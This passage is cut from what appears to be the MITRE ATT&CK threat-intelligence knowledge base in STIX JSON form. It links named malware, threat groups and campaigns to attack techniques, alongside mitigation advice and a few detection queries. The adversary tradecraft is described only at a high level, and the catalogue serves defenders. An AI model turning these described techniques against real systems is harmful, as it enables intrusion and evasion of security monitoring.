"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ff7f776f-001a-4c86-b359-08c89bd08b3e", "type": "relationship", "created": "2019-10-03T18:21:39.015Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-04-01T14:48:46.283Z", "description": "Protect domain controllers by ensuring proper security configuration for critical servers to limit access by potentially unnecessary protocols and services, such as SMB file sharing.", "relationship_type": "mitigates", "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", "target_ref": "attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--ff82342f-d79c-40be-8f5e-23e45baf2cb2", "created": "2024-02-14T21:50:32.442Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-28T14:52:06.994Z", "description": "Monitor for executed processes that may attempt to block indicators or events typically captured by sensors from being gathered and analyzed.\n\nAnalytic 1 - Indicator Blocking - Driver Unloaded\n\n<code>(source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") Image= \"fltmc.exe\" AND CommandLine= \"*unload*\"</code>", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--74d2a63f-3c7b-4852-92da-02d8fbab16da", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ff8241d6-2a4c-41ea-b86d-43082ca0fb48", "type": "relationship", "created": "2021-01-25T13:58:25.283Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Securelist Dtrack", "url": "https://securelist.com/my-name-is-dtrack/93338/", "description": "Konstantin Zykov. (2019, September 23). Hello! My name is Dtrack. Retrieved January 20, 2021."}], "modified": "2021-03-11T23:04:39.840Z", "description": "[Dtrack](https://attack.mitre.org/software/S0567) has used a decryption routine that is part of an executable physical patch.(Citation: Securelist Dtrack)", "relationship_type": "uses", "source_ref": "malware--f8774023-8021-4ece-9aca-383ac89d2759", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ff876fa3-e156-4696-91a8-ad8996ace076", "type": "relationship", "created": "2022-03-30T14:26:51.840Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.840Z", "description": "The creation of a new instance or VM is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities. For example, the creation of an instance by a new user account or the unexpected creation of one or more snapshots followed by the creation of an instance may indicate suspicious activity.\nIn AWS, CloudTrail logs capture the creation of an instance in the\u00a0RunInstances\u00a0event, and in Azure the creation of a VM may be captured in Azure activity logs.(Citation: AWS CloudTrail Search) (Citation: Azure Activity Logs)\u00a0Google's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of\u00a0gcloud compute instances create\u00a0to create a VM.(Citation: Cloud Audit Logs)", "source_ref": "x-mitre-data-component--b5b0e8ae-7436-4951-950a-7b83c4dd3f2c", "target_ref": "attack-pattern--cf1c2504-433f-4c4e-a1f8-91de45a0318c", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "AWS CloudTrail Search", "description": "Amazon. (n.d.). Search CloudTrail logs for API calls to EC2 Instances. Retrieved June 17, 2020.", "url": "https://aws.amazon.com/premiumsupport/knowledge-center/cloudtrail-search-api-calls/"}, {"source_name": "Cloud Audit Logs", "description": "Google. (n.d.). Audit Logs. Retrieved June 1, 2020.", "url": "https://cloud.google.com/logging/docs/audit#admin-activity"}]}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ff87edd7-34b1-47f2-9131-dd6a47854805", "type": "relationship", "created": "2020-05-26T20:36:16.472Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CheckPoint Naikon May 2020", "url": "https://research.checkpoint.com/2020/naikon-apt-cyber-espionage-reloaded/", "description": "CheckPoint. (2020, May 7). Naikon APT: Cyber Espionage Reloaded. Retrieved May 26, 2020."}], "modified": "2020-06-03T13:40:15.341Z", "description": "[Aria-body](https://attack.mitre.org/software/S0456) has the ability to gather TCP and UDP table status listings.(Citation: CheckPoint Naikon May 2020)", "relationship_type": "uses", "source_ref": "malware--3161d76a-e2b2-4b97-9906-24909b735386", "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ff922dd7-21b6-4f95-bb8b-080d0dee6655", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Forcepoint Monsoon", "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"}], "modified": "2018-10-17T00:14:20.652Z", "description": "When a document is found matching one of the extensions in the configuration, [TINYTYPHON](https://attack.mitre.org/software/S0131) uploads it to the C2 server.(Citation: Forcepoint Monsoon)", "relationship_type": "uses", "source_ref": "malware--85b39628-204a-48d2-b377-ec368cbcb7ca", "target_ref": "attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--ff950ea2-2982-4bfd-8361-7755e83778fd", "created": "2019-01-30T16:39:54.479Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "PaloAlto CardinalRat Apr 2017", "description": "Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-11T02:47:35.437Z", "description": "[Cardinal RAT](https://attack.mitre.org/software/S0348) encodes many of its artifacts and is encrypted (AES-128) when downloaded.(Citation: PaloAlto CardinalRat Apr 2017) ", "relationship_type": "uses", "source_ref": "malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4", "target_ref": "attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--ff9691d7-91dd-4549-b997-d5abf327ef1f", "created": "2022-04-06T13:57:51.746Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "ESET PLEAD Malware July 2018", "url": "https://www.welivesecurity.com/2018/07/09/certificates-stolen-taiwanese-tech-companies-plead-malware-campaign/", "description": "Cherepanov, A.. (2018, July 9). Certificates stolen from Taiwanese tech\u2011companies misused in Plead malware campaign. Retrieved May 6, 2020."}], "x_mitre_deprecated": false, "revoked": false, "description": "[BlackTech](https://attack.mitre.org/groups/G0098) has used valid, stolen digital certificates for some of their malware and tools.(Citation: ESET PLEAD Malware July 2018)", "modified": "2022-04-06T13:57:51.746Z", "relationship_type": "uses", "source_ref": "intrusion-set--6fe8a2a1-a1b0-4af8-953d-4babd329f8f8", "target_ref": "attack-pattern--19401639-28d0-4c3c-adcc-bc2ba22f6421", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--ff9932dc-6afa-4aa6-834b-4ff1ac6d96bb", "created": "2022-04-06T19:05:25.560Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "MalwareBytes LazyScripter Feb 2021", "url": "https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf", "description": "Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[LazyScripter](https://attack.mitre.org/groups/G0140) has established GitHub accounts to host its toolsets.(Citation: MalwareBytes LazyScripter Feb 2021)", "modified": "2022-04-15T19:13:43.851Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--abc5a1d4-f0dc-49d1-88a1-4a80e478bb03", "target_ref": "attack-pattern--88d31120-5bc7-4ce3-a9c0-7cf147be8e54", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ff9e0633-9618-4616-a303-f9bb059f6289", "type": "relationship", "created": "2019-09-18T18:09:59.911Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/", "description": "Bryan Lee and Rob Downs. (2016, February 12). A Look Into Fysbis: Sofacy\u2019s Linux Backdoor. Retrieved September 10, 2017.", "source_name": "Fysbis Palo Alto Analysis"}], "modified": "2020-03-20T17:22:43.567Z", "description": "[Fysbis](https://attack.mitre.org/software/S0410) has the ability to create and execute commands in a remote shell for CLI.(Citation: Fysbis Palo Alto Analysis)", "relationship_type": "uses", "source_ref": "malware--50d6688b-0985-4f3d-8cbe-0c796b30703b", "target_ref": "attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--ff9e8d81-dc74-4494-a4aa-54f8039f9ad7", "created": "2022-02-02T21:30:09.805Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "BiZone Lizar May 2021", "url": "https://bi-zone.medium.com/from-pentest-to-apt-attack-cybercriminal-group-fin7-disguises-its-malware-as-an-ethical-hackers-c23c9a75e319", "description": "BI.ZONE Cyber Threats Research Team. (2021, May 13). From pentest to APT attack: cybercriminal group FIN7 disguises its malware as an ethical hacker\u2019s toolkit. Retrieved February 2, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Lizar](https://attack.mitre.org/software/S0681) has encrypted data before sending it to the server.(Citation: BiZone Lizar May 2021)", "modified": "2022-04-05T17:31:10.185Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--f74a5069-015d-4404-83ad-5ca01056c0dc", "target_ref": "attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--ff9fad0d-7481-4804-a4e8-800265a5c17d", "created": "2022-09-29T19:05:32.702Z", "revoked": false, "external_references": [{"source_name": "DFIR Conti Bazar Nov 2021", "description": "DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.", "url": "https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-29T19:05:32.702Z", "description": "During [C0015](https://attack.mitre.org/campaigns/C0015), the threat actors used `mshta` to execute DLLs.(Citation: DFIR Conti Bazar Nov 2021)", "relationship_type": "uses", "source_ref": "campaign--78068e68-4124-4243-b6f4-76e4e5be8a06", "target_ref": "attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--ffa83fe4-ca25-47b7-9d26-cefed3e32e7f", "created": "2022-03-30T14:26:51.876Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-28T13:22:35.107Z", "description": "Consider enabling file/directory permission change auditing on folders containing key binary/configuration files. For example, Windows Security Log events (Event ID 4670) are created when DACLs are modified.\n\nAdversaries sometimes modify object access rights at the operating system level. There are varying motivations behind this action - they may not want some files/objects to be changed on systems for persistence reasons and therefore provide admin only rights; also, they may want files to be accessible with lower levels of permissions.\n\nWindows environment logs can be noisy, so we take the following into consideration:\n\n- We need to exclude events generated by the local system (subject security ID \u201cNT AUTHORITY\\SYSTEM\u201d) and focus on actual user events.\n- When a permission modification is made for a folder, a new event log is generated for each subfolder and file under that folder. It is advised to group logs based on handle ID or user ID.\n- The Windows security log (event ID 4670) also includes information about the process that modifies the file permissions. It is advised to focus on uncommon process names, and it is also uncommon for real-users to perform this task without a GUI.\n- Pseudocode Event ID is for Windows Security Log (Event ID 4670 - Permissions on an object were changed). \n- Windows Event ID 4719 (An Attempt Was Made to Access An Object) can also be used to alert on changes to Active Directory audit policy for a system.\n\nAnalytic 1 - Access Permission Modification for Windows\n\n<code> (source=\"*WinEventLog:Security\" EventCode IN (4670, 4719)) Object_Type=\"File\" Security_ID!=\"NT AUTHORITY\\\\SYSTEM\" </code>", "relationship_type": "detects", "source_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", "target_ref": "attack-pattern--34e793de-0274-4982-9c1a-246ed1c19dee", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--ffa8f46b-615f-4b95-8ed5-90f86eaedd20", "created": "2019-06-25T12:15:00.109Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Microsoft AMSI June 2015", "description": "Microsoft. (2015, June 9). Windows 10 to offer application developers new malware defenses. Retrieved February 12, 2018.", "url": "https://cloudblogs.microsoft.com/microsoftsecure/2015/06/09/windows-10-to-offer-application-developers-new-malware-defenses/?source=mmpc"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-20T18:41:12.796Z", "description": "Anti-virus can be used to automatically detect and quarantine suspicious files. Consider utilizing the Antimalware Scan Interface (AMSI) on Windows 10+ to analyze commands after being processed/interpreted. (Citation: Microsoft AMSI June 2015)", "relationship_type": "mitigates", "source_ref": "course-of-action--a6a47a06-08fc-4ec4-bdc3-20373375ebb9", "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ffac75cc-91ec-4ecc-827c-a7090b8951c5", "type": "relationship", "created": "2022-03-30T14:26:51.870Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.870Z", "description": "Monitor and analyze traffic patterns and packet inspection associated to protocol(s), leveraging SSL/TLS inspection for encrypted traffic, that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).", "source_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", "target_ref": "attack-pattern--274770e0-2612-4ccf-a678-ef8e7bad365d", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ffacfdd1-702e-4bb9-b60c-8e5c4cdf2a06", "type": "relationship", "created": "2020-12-22T17:48:21.032Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Crowdstrike GTR2020 Mar 2020", "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", "description": "Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020."}], "modified": "2021-04-12T02:29:14.480Z", "description": "[APT41](https://attack.mitre.org/groups/G0096) has used search order hijacking to execute malicious payloads, such as Winnti RAT.(Citation: Crowdstrike GTR2020 Mar 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", "target_ref": "attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ffb03265-d9d6-4dc7-ba8e-71498be4e131", "type": "relationship", "created": "2020-05-26T16:17:59.670Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos Rocke August 2018", "url": "https://blog.talosintelligence.com/2018/08/rocke-champion-of-monero-miners.html", "description": "Liebenberg, D.. (2018, August 30). Rocke: The Champion of Monero Miners. Retrieved May 26, 2020."}, {"source_name": "Unit 42 Rocke January 2019", "url": "https://unit42.paloaltonetworks.com/malware-used-by-rocke-group-evolves-to-evade-detection-by-cloud-security-products/", "description": "Xingyu, J.. (2019, January 17). Malware Used by Rocke Group Evolves to Evade Detection by Cloud Security Products. Retrieved May 26, 2020."}], "modified": "2020-05-26T16:17:59.670Z", "description": "[Rocke](https://attack.mitre.org/groups/G0106) used scripts which detected and uninstalled antivirus software.(Citation: Talos Rocke August 2018)(Citation: Unit 42 Rocke January 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--44102191-3a31-45f8-acbe-34bdb441d5ad", "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ffbaf980-7288-4bfd-9887-6b4a103f178c", "type": "relationship", "created": "2022-03-30T14:26:51.850Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.850Z", "description": "Monitor executed commands and arguments that may execute their own malicious payloads by hijacking the way operating systems run programs.", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ffc0ed92-9331-49c6-bb04-0ed1419c18cb", "type": "relationship", "created": "2022-03-30T14:26:51.832Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.832Z", "description": "Monitor for changes made to AD settings that may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls.", "source_ref": "x-mitre-data-component--5b8b466b-2c81-4fe7-946f-d677a74ae3db", "target_ref": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ffc74c74-bc06-4f08-96ef-5239341bc2ec", "type": "relationship", "created": "2022-03-30T14:26:51.854Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.854Z", "description": "Monitor for alike file hashes or characteristics (ex: filename) that are created on multiple hosts.", "source_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", "target_ref": "attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--ffc94259-697d-49f2-8713-6f4593d2e5ed", "created": "2024-02-14T20:36:15.930Z", "revoked": false, "external_references": [{"source_name": "Trellix Darkgate 2023", "description": "Ernesto Fern\u00e1ndez Provecho, Pham Duy Phuc, Ciana Driscoll & Vinoo Thomas. (2023, November 21). The Continued Evolution of the DarkGate Malware-as-a-Service. Retrieved February 9, 2024.", "url": "https://www.trellix.com/blogs/research/the-continued-evolution-of-the-darkgate-malware-as-a-service/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-02-14T20:36:15.930Z", "description": "[DarkGate](https://attack.mitre.org/software/S1111) uses a malicious Windows Batch script to run the Windows <code>code</code> utility to retrieve follow-on script payloads.(Citation: Trellix Darkgate 2023)", "relationship_type": "uses", "source_ref": "malware--6f6f67c9-556d-4459-95c2-78d272190e52", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--ffcb5325-43d1-4b54-a9a5-f785c628136e", "created": "2023-09-06T14:20:10.813Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Bitdefender Sardonic Aug 2021", "description": "Budaca, E., et al. (2021, August 25). FIN8 Threat Actor Goes Agile with New Sardonic Backdoor. Retrieved August 9, 2023.", "url": "https://www.bitdefender.com/files/News/CaseStudies/study/401/Bitdefender-PR-Whitepaper-FIN8-creat5619-en-EN.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-19T13:34:13.650Z", "description": "[Sardonic](https://attack.mitre.org/software/S1085) can communicate with actor-controlled C2 servers by using a custom little-endian binary protocol.(Citation: Bitdefender Sardonic Aug 2021)", "relationship_type": "uses", "source_ref": "malware--0c52f5bc-557d-4083-bd27-66d7cdb794bb", "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--ffccbf64-ef54-47c7-a117-389b5eca8047", "created": "2022-04-14T16:38:09.733Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Periodically baseline instances to identify malicious modifications or additions.", "modified": "2022-04-14T16:38:09.733Z", "relationship_type": "detects", "source_ref": "x-mitre-data-component--45fd904d-6eb0-4b50-8478-a961f09f898b", "target_ref": "attack-pattern--cf1c2504-433f-4c4e-a1f8-91de45a0318c", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ffcfa61b-2b35-4d06-9298-836fe50f5bed", "type": "relationship", "created": "2022-02-07T16:07:49.556Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "BiZone Lizar May 2021", "url": "https://bi-zone.medium.com/from-pentest-to-apt-attack-cybercriminal-group-fin7-disguises-its-malware-as-an-ethical-hackers-c23c9a75e319", "description": "BI.ZONE Cyber Threats Research Team. (2021, May 13). From pentest to APT attack: cybercriminal group FIN7 disguises its malware as an ethical hacker\u2019s toolkit. Retrieved February 2, 2022."}], "modified": "2022-02-07T16:07:49.556Z", "description": "[Lizar](https://attack.mitre.org/software/S0681) has a plugin to retrieve information about all active network sessions on the infected server.(Citation: BiZone Lizar May 2021)", "relationship_type": "uses", "source_ref": "malware--f74a5069-015d-4404-83ad-5ca01056c0dc", "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--ffd3ead2-b1a0-46fa-adf0-d13ece7597e8", "created": "2023-03-06T23:27:22.298Z", "revoked": false, "external_references": [{"source_name": "Secureworks DarkTortilla Aug 2022", "description": "Secureworks Counter Threat Unit Research Team. (2022, August 17). DarkTortilla Malware Analysis. Retrieved November 3, 2022.", "url": "https://www.secureworks.com/research/darktortilla-malware-analysis"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-06T23:27:22.298Z", "description": "[DarkTortilla](https://attack.mitre.org/software/S1066) has used HTTP and HTTPS for C2.(Citation: Secureworks DarkTortilla Aug 2022)", "relationship_type": "uses", "source_ref": "malware--5faaf81a-aa5b-4a4b-bae5-522439e068f8", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ffe0659a-ff5b-4ffb-a842-38bb630fd6b8", "type": "relationship", "created": "2021-11-22T15:02:15.265Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-08T20:59:20.895Z", "description": "Some endpoint security solutions can be configured to block some types of process injection based on common sequences of behavior that occur during the injection process.", "relationship_type": "mitigates", "source_ref": "course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46", "target_ref": "attack-pattern--eb2cb5cb-ae87-4de0-8c35-da2a17aafb99", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--ffe85478-e3ed-4856-b4ae-03a7b693e381", "created": "2022-08-09T18:36:00.430Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Unit 42 PingPull Jun 2022", "description": "Unit 42. (2022, June 13). GALLIUM Expands Targeting Across Telecommunications, Government and Finance Sectors With New PingPull Tool. Retrieved August 7, 2022.", "url": "https://unit42.paloaltonetworks.com/pingpull-gallium/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": 